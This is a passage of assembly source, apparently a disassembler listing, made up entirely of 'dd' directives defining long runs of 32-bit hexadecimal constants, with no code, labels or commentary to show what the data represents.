		dd 0AEEFBE27h, 0BEE00229h, 7A2C1FDBh, 0EBA48175h, 542718FEh
		dd 0CD33E104h, 93B18C83h, 8EF0FB78h, 6284784h, 1BD281E4h
		dd 0B37D4E3Dh, 1AFED7A2h, 195B2A0Dh, 0D6052B12h, 3EF85A15h
		dd 4E7092B8h, 0B587666Fh, 5001CAC1h, 0B6BD9678h, 0A7868DC7h
		dd 0E6E16E89h, 1A438A84h, 563DDAFCh, 0F149D67Bh, 79F83513h
		dd 0BE09CEF1h, 79583FDCh, 0EE13F3D1h, 4E2D29CCh, 0DE006251h
		dd 43543F3Fh, 4DF01274h, 67DBA09h, 78B70224h, 764A3619h
		dd 1B59F314h, 2608431Ch, 8BA35789h, 0DF0B5A3Ch,	0A7106F79h
		dd 25994A2Ch, 7EA3250Ch, 4B98655Ch, 6ED0A635h, 8C125F4Dh
		dd 8A155DC4h, 0D9F85A15h, 0B062D203h, 86FCEBA1h, 0DCE50BA4h
		dd 5DD8BA08h, 0CCF5F193h, 0A6C8AA18h, 37A4F77Bh, 7E79DABCh
		dd 0DAB45D6Bh, 0DA8CAECh, 0BE4A5623h, 76F079DFh, 67183244h
		dd 26A13249h, 80024A44h, 56129ABCh, 0E4D487CBh,	86ED8AECh
		dd 0BDC8862Bh, 0BBCF7A9Ch, 0EEC0F2A1h, 9FA7E18Ch, 9EC0E585h
		dd 638B7FDh, 1B3DD2B4h,	6685BA0h, 9C5F6717h, 7D38D6DFh
		dd 5D98D828h, 7385738Ch, 5EC0B8EFh, 2A73B1CFh, 0B060C53Dh
		dd 0AEBF166Bh, 3E6182A7h, 9F406FE3h, 0EAD372D4h, 0A9086F2Ch
		dd 1E42BB00h, 96D24DFCh, 0E58531Eh, 0EE28CAE8h,	0FE214264h
		dd 5F002F23h, 2E953214h, 64342EC3h, 0DE6A2244h,	5678F2ECh
		dd 0CE9A1230h, 1164626Dh, 0D6B0034Eh, 36597A9Dh, 874867EBh
		dd 2C206ACCh, 61C0E304h, 5611C2E9h, 8EB53AF4h, 8DC14A6Ch
		dd 14A0C2E6h, 0FCFB635Ch, 0FB6FB8BEh, 0E6480050h, 0DD43532Fh
		dd 96D1A681h, 0CA7F92B4h, 0C6E80842h, 3E60844Ch, 0F28CB41Ch
		dd 0D1503ED8h, 0E6E13E99h, 44F5EF84h, 0A5B89AEBh, 228DDFBDh
		dd 37A88AC6h, 5BC8D168h, 0F598BADEh, 0AE3A6AE9h, 0E287AACCh
		dd 0DE00207Eh, 7C481F37h, 0BE0F1274h, 0B1ED05ADh, 3FE0420Ch
		dd 76708D21h, 0AE2F0D14h, 3DCF658Ch, 15C0E206h,	56126EF9h
		dd 8FC02DF4h, 2F6CCFE3h, 0C321C2A4h, 0F6581318h, 6E904D2Bh
		dd 0E7F4AD43h, 0D30BA2C4h, 0D6B83004h, 3F8F8B57h, 976D852Dh
		dd 0BF60C28Dh, 0F6F1ABA1h, 2EAF8D94h, 7D4FE50Ch, 0F6406285h
		dd 96B8DB1Ah, 249EEFF9h, 4923CAACh, 27D6420Eh, 0F59CCA23h
		dd 0AE7A31B5h, 0CDF53CFh, 53184844h, 166DDD09h,	0CEECAB34h
		dd 42E58AACh, 411FFC69h, 0BBF31C63h, 0AED0BF10h, 8D2E6A8Ch
		dd 35C4A589h, 7094BE4Eh, 54B305Fh, 6E2820B8h, 7EA09CE6h
		dd 0F672F6D7h, 6EFA765Fh, 0E6082A24h, 0FC0C8CCh, 86F6706Eh
		dd 644C074Bh, 45B00A6Ch, 3C08C260h, 3DD8FA42h, 0A5501840h
		dd 0CCCC80C0h, 4C420884h, 94D0DA96h, 6430522Ah,	79C29BECh
		dd 0BEB5BD34h, 2998FAF6h, 0E1EFB70Dh, 66899748h, 0DEB5AF44h
		dd 0EF78DAACh, 0CEF015B5h, 0E39B6527h, 0AEE0EFA5h, 0B3D57ADCh
		dd 0AE90E1A2h, 0B3C58A73h, 9E80FAE7h, 0E2ADA52Eh, 66B092DDh
		dd 6284A7Ah, 15CFADA8h,	84484A29h, 2F9C4BDh, 0B06D4D29h
		dd 3BF5CEA5h, 29A81A7Dh, 0E590221h, 526D832Ch, 6E60C28Dh
		dd 0DCF89048h, 6AC58D6Bh, 23C8AA26h, 21353D44h,	0C0BAB06Ah
		dd 64E4D922h, 974098EDh, 0AD204264h, 14FDFEB9h,	9C405521h
		dd 0AE1DCA5h, 0DE654521h, 0C2ED65EAh, 45F0521Dh, 103EDC68h
		dd 41B75474h, 76725609h, 0BE147114h, 0A2DD95DBh, 0F4C0A22Dh
		dd 0E93A307Ch, 0CE996E61h, 700F36Ch, 5537C2E4h,	0D214B3BDh
		dd 0FB6FE580h, 0E6480048h, 0FB0354F7h, 0D6B830A0h, 0B127C6B4h
		dd 86C202B9h, 4AA007A4h, 485BBC40h, 0D1BE0090h,	0CCC0CE78h
		dd 0E16A0884h, 0D692DA69h, 7AF0D774h, 50405930h, 0CD204260h
		dd 467B2B15h, 0C48CB76Dh, 4EFDAA8Ch, 0CE5CE3C5h, 2289ABCh
		dd 9EA14464h, 0D397D9FCh, 0BEA02B90h, 4201BA19h, 8AA40D1Bh
		dd 0BACDE584h, 76C0A22Eh, 0E9C7A7F7h, 0A252DA7h, 0ED280A45h
		dd 5664437Ch, 0A1183A5Dh, 4714272Bh, 73F72A0Ch,	5EC08B40h
		dd 290384D5h, 4E70924Bh, 0F5B20A2Ch, 6F31D36Dh,	0B6D9924Dh
		dd 0EADB7290h, 0AAA2BA5Dh, 0DD12A60Fh, 0C2CEBFAAh, 0F1D0BA74h
		dd 13253513h, 0FE605698h, 26C9EB8Eh, 0C798A7ABh, 0A20BAA8Ch
		dd 218BE164h, 5620C2E4h, 0CEF00C36h, 46689AB2h,	0BEE00225h
		dd 36587A9Ch, 0AED0F214h, 0D91B3CDDh, 0DEE97291h, 0BA61F17Ch
		dd 75C51270h, 5AEBA48Eh, 1BD3A3A6h, 93755B12h, 4F2FDB0h
		dd 957C4929h, 3DE5F198h, 0A4914C48h, 2270E7C0h,	0A59A7E5Fh
		dd 5260F6C5h, 0DAAA8E6Fh, 6D501CF1h, 0D2A98F7Eh, 722924E1h
		dd 0D5B89B99h, 7A513706h, 0EAC18C89h, 8E410F01h, 11F6D3ACh
		dd 9C533215h, 3FCCBA9h,	0BD6F5014h, 170BE9D9h, 0AB825134h
		dd 140DFECDh, 0CA8F6F41h, 44302EF9h, 0AEB49371h, 472D18CFh
		dd 0F6948770h, 72593F0Eh, 0EBC291F4h, 524D3E0Dh, 16CCAD8Bh
		dd 0C5685639h, 0FFEE1E6h, 8960593Ch, 26C5A2B0h,	0BEAC6E55h
		dd 2A11F7C6h, 0B28D4D2Ch, 5B0CEBE2h, 0C4AC8E5Dh, 5A2510FDh
		dd 0A6899969h, 583407C3h, 0C5DDB695h, 0E55281Dh, 0C0DCAFABh
		dd 0AA452E0Dh, 76FDD7B5h, 0A3645713h, 0AFDCEA3h, 0B2696421h
		dd 3B19D4D9h, 89F05351h, 2925FEC9h, 0DB8C7740h,	52361BD4h
		dd 0AE919778h, 753C0FCBh, 0FBB4917Dh, 64511E11h, 0E1C4B191h
		dd 669331Eh, 2AD4A7A3h,	0B0685739h, 20F5DEBDh, 0A76D472Dh
		dd 2AE5E5C4h, 0A6957F68h, 2604F3E4h, 0A3AF0A6Dh, 4C05D4D0h
		dd 0D8B7936Fh, 5A353594h, 0D5BA8F5Ah, 5B2E0DEDh, 0D1B89B84h
		dd 61662611h, 0E3C5BF80h, 91462C2Dh, 2F9D7AEh, 0AF7E5D3Dh
		dd 9E4EDCCh, 9F6C4326h,	3517F6D0h, 0AF9F5E34h, 2401C6C8h
		dd 0C7926356h, 57157ADDh, 0CBB9A464h, 602E25FBh, 9EA58E6Dh
		dd 785D2A33h, 0EBDCBBB2h, 76582B21h, 3FC7AC8Dh,	9368755Ch
		dd 1E2E2BAh, 957B4F2Fh,	31F2F2C4h, 0A58B7F5Fh, 2736A087h
		dd 0C69C795Eh, 5D0FF0F4h, 85AB8979h, 56353CA6h,	0C39AEA78h
		dd 770606E5h, 0C5B8BF90h, 67762611h, 0F2E9AF80h, 9C493010h
		dd 5FDCEA9h, 8B433215h,	0AE1ECB8h, 0B76F7221h, 241DEED2h
		dd 0BA954134h, 2304E3EAh, 0DB8D6B70h, 5334299Ch, 0FBD08271h
		dd 562907E2h, 0E9A58B52h, 7F7E3C33h, 0D8B0B798h, 735C3805h
		dd 12E1AE85h, 0F67B5530h, 1AF9C083h, 8A616C29h,	2ACEA2A1h
		dd 0A3927E7Dh, 3C20E6C7h, 0AA817C45h, 4D05E5C1h, 0D3B39548h
		dd 5A1E72FAh, 0C7AD984Fh, 770607F0h, 0D8B8BF90h, 6B421100h
		dd 0D6CDBE8Dh, 9B432D16h, 3898C9AFh, 8B627120h,	36EDDEADh
		dd 0BB634D36h, 2E3DE9CFh, 8D845C34h, 3209EFDEh,	0DD855141h
		dd 583713E8h, 0E3A4BC14h, 4F1E1AEDh, 0F88F9561h, 625B3F2Fh
		dd 8EDEBD9Dh, 76673E22h, 0CF0AC81h, 857D5933h, 5FFE6A7h
		dd 0A8084429h, 3BF0EDB0h, 0B59D4952h, 201FFBC0h, 969C442Ch
		dd 5B14EDD6h, 0DF8E8E7Fh, 4F2506E6h, 0CBADA760h, 1E3910EBh
		dd 0E3E9AEB2h
		dd 5D492011h, 0E3DCB995h, 984E0B09h, 17F5C8B3h,	807F5B20h
		dd 31FCE4CCh, 0BB744B36h, 220AF3EAh, 839C7341h,	3407E7C9h
		dd 0CAB2025Dh, 5F362FF0h, 0CBB49D77h, 4F3A1EDFh, 0F194856Ah
		dd 7F4B343Dh, 0E7C2A6A7h, 51282D02h, 0AF383B7h,	836C483Dh
		dd 2F3B2A4h, 956D5923h,	3BEBC1ABh, 0B99B1A48h, 2D15FCDAh
		dd 0A38F0A58h, 4D0FEAD0h, 0D8A19868h, 2E351FF5h, 0D0AB8F7Eh
		dd 70251184h, 0F9CBDA98h, 7A553917h, 0F2C683ECh, 9B4E3001h
		dd 19F4F9A8h, 8F585727h, 3E4CEA2h, 0AA6E6B44h, 3316E8D9h
		dd 0BA955540h, 2806E5EFh, 0DB946141h, 572C29F8h, 0E7D09760h
		dd 542D1EE2h, 0D1B4876Ah, 57563F0Ch, 0FADE9BF4h, 63463809h
		dd 1BD08D90h, 9A6A6F32h, 0D9B295h, 887A4F38h, 3BD2D6A1h
		dd 0BFBE7E5Dh, 0F70F7D8h, 96A95C68h, 1052B1EDh,	0B694B658h
		dd 6D3717C6h, 0C3BB8560h, 1E3907CFh, 0D9DFBFAEh, 455E3704h
		dd 0FEEDB389h, 9B724225h, 13EDEBBBh, 8F464B26h,	23EDDFA0h
		dd 8C00633Ch, 332BFDD9h, 0A2914440h, 3E2DEFD9h,	57630265h
		dd 67905199h, 0AED0F27Ch, 204E764h, 0F4C08807h,	45680B79h
		dd 423BD79Eh, 56FCC13Ch, 2FE0A8B0h, 63E7690Eh, 6ED09898h
		dd 1904EECFh, 1EAAF651h, 0DE3C993Ch, 0CBFDC577h, 0C6A81F75h
		dd 54307D97h, 49D6901Ch, 6E798E01h, 0D2086F0Ch,	1C2832FBh
		dd 1DB8DAA2h, 853038A0h, 0EEE8A020h, 0FE304264h, 1CCAB8B6h
		dd 0B0125A54h, 66E2AACCh, 21507115h, 1652DA29h,	31A94D34h
		dd 6410E39h, 0CA1F8724h, 6D5F1D7h, 4DD0B201h, 26DDE780h
		dd 9DC0A214h, 0E96B0DADh, 0BE355926h, 8B280A46h, 7EB8346Bh
		dd 940D25Ch, 0EB1B4D2Bh, 0E6480078h, 47C32D49h,	91101A3Ch
		dd 0C58F6D4Bh, 86C232A9h, 4AA007A4h, 0E6577717h, 0C650728Dh
		dd 5937153Eh, 0DD1FA50Fh, 96B832A9h, 8F6D5274h,	0C6B2C801h
		dd 73E97164h, 36B8E659h, 0BF446354h, 37D9FA9Dh,	0F7B8B7BBh
		dd 52FF9AFCh, 4A65ED10h, 1B68CA85h, 0EBE006E6h,	36587A74h
		dd 4351AF14h, 260870BDh, 0B4D1D6Eh, 16784380h, 0AE7D80A4h
		dd 6024A48h, 18AC0667h,	0EC5ABF9Bh, 4E5DB294h, 0FC4CAF8Bh
		dd 5EA4A284h, 15A51A16h, 4F1A93DEh, 0B51739D3h,	0BB757DA0h
		dd 0DE288EDCh, 2E50729Fh, 0A5933A87h, 0ABCD5ED4h, 96F8C09Ch
		dd 0F3CE8FFh, 0C23CAECh, 0FE20436Ch, 0BDB342DFh, 1DDBB934h
		dd 63FCCB6Ah, 35F5C003h, 59BF197Eh, 9D249963h, 12384627h
		dd 0ECB1424Eh, 0A3A785F6h, 0AE90D858h, 0AD44AE0Fh, 0DEE92291h
		dd 95EF717Ch, 8977D51Eh, 6C04A06h, 0BDA3956Dh, 0DCBEAF35h
		dd 0EA95B294h, 263B2244h, 0D79A1286h, 96D2BCA9h, 0C39265B4h
		dd 38426B6Eh, 0FD81F76Dh, 0B6D81249h, 0AF0D7294h, 0E6D218E1h
		dd 0B4DDE984h, 15B89AD6h, 0E387608h, 86114EE3h,	12A14264h
		dd 7698B8D4h, 0EF145A00h, 0F377AACCh, 0DE400BA4h, 0D2F56637h
		dd 0CEF11610h, 4602DAACh, 0BEE006CCh, 620A2C9Ch, 3B2FA514h
		dd 26084350h, 94D2B37h,	16385B78h, 8CDA83A5h, 6E29203Dh
		dd 3EA0C2E4h, 5E8DC50Eh, 0F890F2FDh, 0BD7CDCC9h, 5AE8F694h
		dd 81F81A3Dh, 6E54264Bh, 39E80A2Eh, 7E4A0A31h, 765DA31Ch
		dd 3AB364E0h, 0CC1C615Ch, 49113084h, 0BE2D25AAh, 5730125Eh
		dd 56DD0A69h, 7AB5BD32h, 0FB98FAF5h, 0B9427603h, 0EBD0EEA6h
		dd 0DE0126D3h, 964B31BCh, 3DA9025Eh, 1638DA07h,	0EEB05274h
		dd 86CD85CEh, 2FD0B23Dh, 264A6248h, 0BAB41D04h,	6EADA574h
		dd 0DDB092DEh, 2C50DF93h, 0BCFDC2A4h, 0C8983A58h, 2891C7DEh
		dd 0F324A7C7h, 4763A284h, 0C6F88FB1h, 9F7392F4h, 423AF57Ah
		dd 0C1E88D64h, 0B9D8FA1Ch, 2E508210h, 9CF66A0Ch, 9E0672F1h
		dd 12B7DAC2h, 0E305295h, 0F388F46Ch, 0C0A10495h, 31D6F38Ch
		dd 219B1021h, 2989EC0Ah, 0B451EC6Fh, 52ECBBCh, 0E48087CBh
		dd 7D318AECh, 1650DE5h,	0DF587A9Ch, 0AED0F2A5h,	7418540Dh
		dd 1BCFB44Dh, 16385AD9h, 22B81477h, 82274750h, 7EA0C27Dh
		dd 56D1A60h, 61AA8E78h,	0E608A6C9h, 7E8D0FC4h, 0EBD83A1Ch
		dd 3A15F595h, 0FA447559h, 0BF1CF784h, 0DEF80562h, 5F2506E0h
		dd 0D6CB948Dh, 6B6F4DBEh, 69FF1C94h, 0B4015D74h, 86A8EDFCh
		dd 172A093h, 36B2A649h,	0BED00154h, 8ED8FA9Ch, 0DE00224Dh
		dd 380FF5F8h, 0AA917D58h, 0C6FD75ACh, 3BE0420Eh, 56E0E5Ch
		dd 4557BDDh, 77482AA6h,	9EC3E26Ch, 40690BF8h, 0A252DA4h
		dd 8B280A46h, 3EBA2E71h, 3F2B6A5Ch, 3CC0E380h, 73F77B1Dh
		dd 5EC08B7Ch, 29DC1EBBh, 0E591621h, 462BF22Ch, 7E759D29h
		dd 7521FB1Ch, 2A742E1Fh, 0A6C8EAE4h, 0F3C13F84h, 96F8C605h
		dd 23C2EFFFh, 3323CAACh, 0FE606F9Eh, 0FB1341DFh, 0EE501FA2h
		dd 0E3030F3Fh, 0DE400FB6h, 7B960F37h, 4BF31274h, 4628A74Ah
		dd 368800ADh, 0C9587A8Fh, 0EEFAEE81h, 7A81818Ch, 0F7B68740h
		dd 46643F1Fh, 0E7C3AB9Ch, 4B442B0Fh, 0CCFAF81h,	242B3A25h
		dd 98C27D5Fh, 78B7895h,	5DC0C8C7h, 0BCAA4DC5h, 79C51FACh
		dd 7FE84A31h, 3E6082B3h, 4895FE91h, 48AF8D6Bh, 0EBCC67A7h
		dd 1E406284h, 0D135719Ah, 0EA02F970h, 6403AC40h, 1CB5CF9Fh
		dd 2298FAF1h, 1142343Eh, 26A2E259h, 0FA74A944h,	4EBC19B4h
		dd 4BFFD2B1h, 46688B09h, 9E88024Eh, 60587A9Dh, 3B2FF97Eh
		dd 260840DCh, 15CCBC8Fh, 8BB14A32h, 8EF0FF12h, 2BC2C7E5h
		dd 9D21C2A4h, 0F9E7CA5Ch, 6EFAE185h, 53F72C26h,	5EC08F26h
		dd 0FF008FC3h, 0B12092F4h, 86C5E899h, 0BAF57DA4h, 0EED8BA35h
		dd 21C3B211h, 0A6C9BE88h, 25C10484h, 9ACC80B1h,	2EA5AD27h
		dd 6FA88AC6h, 0FE204325h, 76500451h, 591F3254h,	1205B482h
		dd 0DA683D75h, 1789ABDh, 0E72887CBh, 113E8AECh,	974097DBh
		dd 75D37ADCh, 2513F128h, 0F54B12DCh, 15E0908Fh,	22B54236h
		dd 8D1D83C7h, 750CBAFh,	0CC59181h, 4FA3F28h, 473D598Dh
		dd 94830E40h, 0AD83FBE0h, 0D9E448B7h, 4D3E9603h, 44DC81FFh
		dd 70EB71A7h, 586D7314h, 0A55032B9h, 407DD13Ah,	6C4022A9h
		dd 700DF17Fh, 35301259h, 0C6852059h, 8FA34D64h,	45674523h
		dd 1CA5BB94h, 0EF88EAE1h, 9E2DD4C9h, 3C28CABCh,	0CF9A4237h
		dd 46688AC4h, 3B1F55A4h, 36186FB4h, 877867EBh, 0ABB76ACCh
		dd 9E80F72Ch, 19C7A2FFh, 714FE970h, 0E4ADC393h,	14A082C9h
		dd 0A018505Ch, 7A054D84h, 6D086A66h, 1EAD5441h,	0D418DB3Ch
		dd 4E1AC2E4h, 0EF189FD3h, 0BBE982E4h, 0B698D7E6h, 2E3AA61Fh
		dd 0F6FA155Eh, 33A2D77Bh, 347DABCh, 0E707878h, 0AB4A4F67h
		dd 0FAA94224h, 0F20D45F8h, 6510727Dh, 0D303969Fh, 0DE400FBEh
		dd 6262CE37h, 5BDBECBFh, 4628A74Ah, 93168FAFh, 1DF57ADCh
		dd 543259D6h, 3AB8EF01h, 0CF91E244h, 47690A2Fh,	0A708470Bh
		dd 0F9784A2Ch, 3E894671h, 853DF95Ch, 0BAA98EEh,	8A6A4B22h
		dd 1EBAC6A1h, 0BA9D724Fh, 6042A1D8h, 0EA846648h, 6D60B389h
		dd 0F38CA945h, 5B132ED9h, 0C8AD987Eh, 702F21F0h, 0FAD7A888h
		dd 52443727h, 0F0DAAFBFh, 8D45210Dh, 17F0E980h,	0AF745726h
		dd 15EDC9AFh, 0BF507E37h, 3315FBCEh, 0BD827740h, 3401CCF0h
		dd 0D2817541h, 5A372AF0h, 0F2A9917Dh, 48291EDFh, 0FAB28360h
		dd 7057282Ch, 0D2D5BE9Dh, 6E5C3F2Dh, 4C9B08Bh, 86595E39h
		dd 0DF9DEA4h, 89615E2Dh, 12DCD1AAh, 0D68C6955h,	1A36DDE7h
		dd 83BA4B7Bh, 5D09CFF8h, 0D9AB956Eh, 790C06F2h,	0C9AC8465h
		dd 5D1C11F3h, 0F3CAA889h
		dd 6B66261Ah, 0E9C1B99Eh, 86651E0Ah, 4F7D6ACh, 0BA104031h
		dd 3EFD8ADh, 0AD6F6A30h, 567A9AC8h, 0CEF04234h,	34188AACh
		dd 0D3897A4Bh, 5D2C14B2h, 0DEBC9C66h, 482144EDh, 0D0C08D62h
		dd 36731935h, 0EBDCA884h, 6A523806h, 3BF397EEh,	0BC6B1A0Eh
		dd 4EDEFB9Bh, 94615C6Ah, 54B3D7B0h, 0D6F8F269h,	0CF2D92B4h
		dd 86C868C1h, 21E544A4h, 0B6D8BA09h, 7B4E76Bh, 4E09EA4Ch
		dd 747C169Bh, 0E0D51E2h, 5730125Dh, 0F386F640h,	0C0A1244Eh
		dd 55EDA723h, 0C4B08FD9h, 1003AA8Ch, 0B8A57546h, 9AFD1719h
		dd 41F0521Ch, 6407829h,	0F869F824h, 0C816F666h,	4CD143EFh
		dd 0AB148143h, 0DED5BB81h, 16520A7Ch, 1B4FDC9Eh, 6686390h
		dd 7684BE67h, 1E5C4F58h, 6E90B2DCh, 0C84B6C1Fh,	5ECCEE80h
		dd 0FF2C8FC3h, 8E7B92F4h, 0AC7B1858h, 0AB9FD1A6h, 0B698D38Ch
		dd 0C6C3A26Bh, 5937137Fh, 1E40696Ch, 0D5FE89FCh, 20631D2Bh
		dd 86E486A8h, 0D7F4D79Bh, 2E70BA9Ch, 6EFCDADh, 6688AAC7h
		dd 8C457111h, 1256A88Fh, 31F05E78h, 6417E39h, 0BEEAEA24h
		dd 452F7A9Ch, 0C0B98064h, 26090CF8h, 0E551D54h,	9F381A55h
		dd 0CE994E71h, 8B19456Ch, 3EB82169h, 509DB35Ch,	3F90F2FEh
		dd 0CFFCBFB3h, 3613A284h, 0D6F81A38h, 56802739h, 4BB10A6Ch
		dd 7E4A0E19h, 451A121Ch, 0E9368D6Bh, 0E6E8CA89h, 9D106284h
		dd 0D698F859h, 9BBD5274h, 86E8D50Ch, 0FF4A1634h, 1ECABAB6h
		dd 6E103256h, 4C183F33h, 1E852204h, 0DB5AEFE6h,	8ED001B9h
		dd 4002D8ACh, 9EC0B7A9h, 600C7ADCh, 0FC81A244h,	0CDCFF73h
		dd 6198E244h, 5612D6E9h, 233514F4h, 6280A40h, 8153F60Ch
		dd 0BA95C5A3h, 0A990F2C6h, 0A61CD6C9h, 1D4F4C4h, 25E7F20Fh
		dd 0CBB76D4Bh, 0C6A81ED0h, 0A3FD6F2h, 492BEAF4h, 0D2D5B56Bh
		dd 0F0C8AA18h, 0F6743DFCh, 694729FDh, 1ACCD7B3h, 0E3FECAACh
		dd 37131612h, 5B663F51h, 0BF413214h, 37D8FB9Dh,	4BFF7315h
		dd 5638B350h, 0E71487CBh, 0AEA98AECh, 5694773Bh, 36587A90h
		dd 0F99CBA47h, 8013ACDh, 9E8CAE40h, 3FCCCF83h, 8258D2B4h
		dd 55284A6Ch, 0AC591ACh, 83745B0Ah, 3E90F3B1h, 0CF98BFB3h
		dd 0D313A284h, 96D2B489h, 4EB8FAB4h, 0ACBE0A2Ch, 0EEF57DA4h
		dd 3BD8BA35h, 6E4F3C01h, 0D075670Ch, 484022AFh,	3478DAEh
		dd 0E707BE8h, 0BA40E6Fh, 0BE3F29F1h, 1CCFEADCh,	86426455h
		dd 0E688AACEh, 71E8F1BBh, 0D5876546h, 8EE4F089h, 4D1C8AACh
		dd 0BEF38A4Ch, 2ACD859Ch, 46D0B23Eh, 26486A80h,	0DD8FB153h
		dd 380A6937h, 8EFC9EB0h, 2FDCDF93h, 1633C2A4h, 0F6183A5Bh
		dd 76D70759h, 6B512A0Ch, 1EAAFE79h, 24AAF23Ch, 42986D4Bh
		dd 91E80A2Ch, 7029CCEDh, 0F2F6AE59h, 0D1503ED8h, 0E6E11E99h
		dd 1180E784h, 96BAEF78h, 0B58C174h, 0BA8CAECh, 0BE38C7D1h
		dd 0CB15E3DCh, 0EE50182Ch, 997AB124h, 0A2BDA1BBh, 5678DA96h
		dd 0CCE0963Bh, 0AAE98AACh, 0BEE003B4h, 375912C8h, 3B2FF214h
		dd 260840D0h, 9F502685h, 9D685A7Ch, 0DCB0B820h,	2C54DF93h
		dd 0BE25C2A4h, 9E154F05h, 6E90A15Ch, 0CC14BFB3h, 0BC6BA284h
		dd 0F6DAA7BFh, 3B7092F4h, 0E06D8705h, 6E60C284h, 9CB06FE3h
		dd 0EED572D4h, 0A7416E03h, 5ECB6284h, 69B851F0h, 2CB5DD44h
		dd 40A88ACCh, 0BE0CEFE1h, 76F2BBDCh, 0EC7A333Eh, 4CFC3F33h
		dd 26832204h, 36FC9543h, 5DF01235h, 66761F21h, 0AE8A0264h
		dd 0A3A729CEh, 0AE90D870h, 0A347AA09h, 9EC0E344h, 3678E7F1h
		dd 8601D2B4h, 0F9DF4984h, 7E34AA1Bh, 0DD463A5Ch, 4AA43B32h
		dd 0E9DD518h, 0D380E2EDh, 96D85481h, 0A67123B4h, 3917FCC8h
		dd 1E5B1729h, 0B6B2FA5Ch, 2E5066FCh, 599BB80Ch,	5E6A1211h
		dd 0B2FC57FCh, 0F0A5DF60h, 0D6A88AC1h, 752AF46Bh, 0B78C9E98h
		dd 0A4123AB4h, 64C2B8CDh, 0D5036856h, 0D670BEF8h, 2E311DD5h
		dd 263DBA4h, 8C1F1200h,	98E5F7CCh, 46D0B23Eh, 26486A90h
		dd 0E6F6CC21h, 3818745Ch, 0AB95E8D4h, 7E106449h, 5B80BAC1h
		dd 0B952302Fh, 6EB0FC9Dh, 7A9DD51Bh, 0DF80E2EDh, 0D6F8B6F8h
		dd 1E70F8B4h, 5317597Bh, 3E20A8D4h, 0A23A7797h,	2E3A72D4h
		dd 6FA3F1EFh, 1BA83389h, 0B0B8DAFCh, 0E3A3651h,	1A3D35BBh
		dd 7D20024Dh, 9DC8B618h, 0EE185A5Fh, 0DB05AACCh, 0DE400210h
		dd 0C387C9EBh, 0CEB03844h, 12164A29h, 944EB7A9h, 93DB7ADCh
		dd 0AE90E6F6h, 8BC5E78Ch, 0B5C0A228h, 473830B2h, 1B4F81A2h
		dd 6686000h, 0A03A67h, 893AB73h, 443E0759h, 0EBB82A0Ch
		dd 4EF50C36h, 2014F25Ch, 3C116D4Bh, 4BE1E93Bh, 0D48B83D3h
		dd 78F33597h, 4FECF19h,	23BEA4Ch, 0A7AB9503h, 0F62D25AFh
		dd 8E30125Eh, 0C6BDD551h, 0D4544364h, 76ED8AB4h, 0F285CD54h
		dd 0E688EAE6h, 9E2C8FF9h, 470C9ABCh, 0EED297F3h, 46688AECh
		dd 3B260224h, 36185631h, 50D81B14h, 0E4159573h,	2B4DE200h
		dd 167876D2h, 4A252DA2h, 85280A45h, 0FAAF3D1Ch,	0F6183AE7h
		dd 4322375Dh, 0E6622A0Ch, 4E155D92h, 53F85A16h,	0EAF49D74h
		dd 0EDE80A2Ch, 5430D264h, 0B7B2AA1Fh, 2E5072FCh, 3337BCCCh
		dd 1E004B2Ch, 9947227Fh, 0E3354F0h, 302D43ECh, 73200249h
		dd 36B50051h, 2C85BF54h, 3788EAE1h, 8E004816h, 7FB40F43h
		dd 36731274h, 92EC8553h, 0D4E00226h, 80ED859Ch,	51D0B239h
		dd 6661A219h, 61386104h, 1485DE73h, 0B39D2F4h, 66867A6h
		dd 0BDA30BD7h, 9C496A0Dh, 0DB6FE3D0h, 0E64807FAh, 772C373Bh
		dd 167D1A7Ch, 4CE916BBh, 0FDB0A2Ch, 13AE072Dh, 0E789FA5Ch
		dd 2E4F1AC5h, 5998EA03h, 5E699A11h, 99785FFCh, 0E3200F0h
		dd 542D43ECh, 3D200249h, 0CEA0F157h, 0EE106C55h, 0A78B78FFh
		dd 3FF7D3B3h, 7BA61F35h, 857B1274h, 5FEB3290h, 6CD30224h
		dd 0C7AFBB9Fh, 2B5913E3h, 2608475Ah, 0D577EDC7h, 20DBA37Ah
		dd 81A88179h, 53C09DBh,	0BFCB8B34h, 77C83974h, 7E7EDEEh
		dd 0F87CD322h, 52FA218Dh, 5D27683Dh, 0CFBAEFFh,	0D6AA0938h
		dd 0C128C629h, 77FB23EBh, 39AF7AFh, 0FF0BEA4Ch,	1264260Fh
		dd 96005275h, 0CE035274h, 6D67412Fh, 509DCF6Fh,	8A98FAF0h
		dd 2723EDDFh, 14E99660h, 0A97A1E42h, 0FC58B6BEh, 22844E08h
		dd 9B1CA490h, 56950218h, 37D3B27Fh, 0EB88B729h,	1B431E8Ch
		dd 9E92A157h, 0E971DF73h, 8D3B2D0Bh, 48611D51h,	4224CDA7h
		dd 0CBE7C5A3h, 20C5F183h, 1939AE43h, 9BD5D3Bh, 0D9CA297Fh
		dd 0B18FB430h, 95B837D3h, 0BA6FCDF0h, 49270507h, 6DB8A9A7h
		dd 0A93715F2h, 0E1BF6C00h, 7E6AE903h, 0E305262h, 7957A404h
		dd 0FE20AA9Bh, 0F7C5BADCh, 0AE373CB9h, 679343CCh, 21642244h
		dd 84CD118Eh, 0AAF05219h, 0C70EA825h, 0B1BA4F1Ah, 36597E19h
		dd 928E7914h, 0A72EB48Fh, 9185B23Fh, 1638AEF9h,	98F325F4h
		dd 6286A6Ch, 7E4747EBh,	0B5EE3A5Ch, 0EA9FB088h,	0E6082A91h
		dd 7EA0DC45h, 0D9D83A1Ch, 4E704230h, 3827E22Ch,	0BC6F7D5Bh
		dd 0B6D8FAD9h, 0A558301Fh, 67E3FA46h, 0DE7366F7h, 5EBBDF17h
		dd 872018FDh, 0C6851069h, 5EAA64h, 0DD704523h, 65103254h
		dd 26A57C51h, 49D2144h,	0BE78DA91h, 310FEFA2h, 46E30EA3h
		dd 0B6B0224h, 3618574Eh, 0ADECAC9Fh, 0D8378252h, 0E7B21DFBh
		dd 761C10FDh, 550D2F4h,	7C2B1C92h, 7E154FF0h, 0F5187A4Ch
		dd 0F29A2AEh, 0B1082A4Ah, 5E310737h, 720B18DFh,	4122CCEBh
		dd 4165981Dh, 3E60823Fh, 49B26A94h, 21B88D6Bh, 0FC3715E4h
		dd 1D4C280Fh, 0D735CAB6h
		dd 26737971h, 41898D65h, 0DE006222h, 3D119AFCh,	0FE5AB97Ch
		dd 4B5E2F47h, 94392204h, 0DF7BE9B4h, 8CF11A7Eh,	1E0B09BCh
		dd 60658924h, 37583AB1h, 0EDD1FA56h, 429A59DCh,	11A4C08Fh
		dd 0ABBB027Eh, 8EF0FF42h, 0C6AC456Ch, 815F3D19h, 0B635E8E9h
